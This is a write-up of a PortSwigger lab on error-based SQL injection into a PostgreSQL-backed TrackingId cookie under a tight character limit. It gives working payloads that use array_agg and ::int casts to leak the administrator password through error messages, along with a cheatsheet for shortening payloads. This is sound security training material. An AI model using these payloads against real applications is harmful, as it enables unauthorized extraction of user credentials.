Visible Error-Based SQLi: PostgreSQL Under a Character Limit
PortSwigger Lab - Error-based SQL injection with character constraints
Lab Summary
Target: TrackingId cookie Database: PostgreSQL Constraint: ~54 character injection limit Goal: Extract administrator password
The Challenge
Strict character limit on cookie value truncated payloads at ~95 characters total SQL query length. With the base query SELECT * FROM tracking WHERE id = '' taking ~41 chars, only ~54 characters remained for injection.
Techniques That Failed (Too Long)
| Technique | Why Failed |
|---|---|
EXTRACTVALUE() |
MySQL function + too long |
SUBSTRING() with conditions |
~60+ chars |
LIMIT 1 OFFSET n |
OFFSET adds 9 chars |
WHERE username LIKE 'a%' |
~64 chars |
WHERE LENGTH(username)=13 |
~65 chars |
MID() |
Doesn’t exist in PostgreSQL |
Database Fingerprinting
Identified PostgreSQL via error messages:
ERROR: argument of OR must be type boolean, not type integer
ERROR: function mid(character varying, integer, integer) does not exist
PostgreSQL has strict typing - MySQL would silently coerce types.
Winning Approach
Step 1: Remove Original Cookie Value
Instead of:
TrackingId=TRU5VgBy4MTWX9iT'<payload>
Use empty value:
TrackingId='<payload>
Gained 16 characters!
Step 2: Use Short PostgreSQL Cast Syntax
::int -- 5 chars
CAST(x AS int) -- 13 chars
Saved 8 characters.
Step 3: First Attempt - MIN/MAX
'or(SELECT MAX(password)FROM users)::int=1--
'or(SELECT MIN(password)FROM users)::int=1--
44 chars each. Both returned passwords but NOT administrator’s. Why? MIN/MAX return alphabetically sorted values, not by user row.
Step 4: array_agg() with Index
'or(SELECT(array_agg(password))[1]FROM users)::int=1--
54 chars exactly - at the limit!
array_agg()collects all passwords into an array[1]returns first row by table order (not alphabetical)- Iterate
[2],[3]if needed
Administrator was [1] (first row in table).
Error Response
The ::int cast fails on a string, leaking the value:
ERROR: invalid input syntax for type integer: "actualpassword123"
Key Lessons
1. Character Limits Require Creativity
- Remove unnecessary parts (original cookie value)
- Use shorter syntax (
::intvsCAST AS int) - Remove spaces where possible:
FROM users)::intnotFROM users) :: int
2. MIN/MAX vs array_agg()
| Function | Returns |
|---|---|
MIN(col) |
Alphabetically first value |
MAX(col) |
Alphabetically last value |
array_agg(col)[n] |
nth row by table order |
3. PostgreSQL Comment Syntax
--works (no space needed)- MySQL requires
-- -or#
4. Leave Trailing Quote Open
Original query: WHERE id = 'VALUE'
Inject without closing quote:
'or condition='x
App’s closing quote completes it:
WHERE id = ''or condition='x'
PostgreSQL Tight-Space Cheatsheet
| Long Form | Short Form | Savings |
|---|---|---|
CAST(x AS int) |
x::int |
8 chars |
LIMIT 1 OFFSET n |
array_agg()[n] |
varies |
-- - |
-- |
2 chars |
SUBSTRING(x,1,1) |
LEFT(x,1) |
6 chars |
WHERE col='val' |
(use chr() or hex) | depends |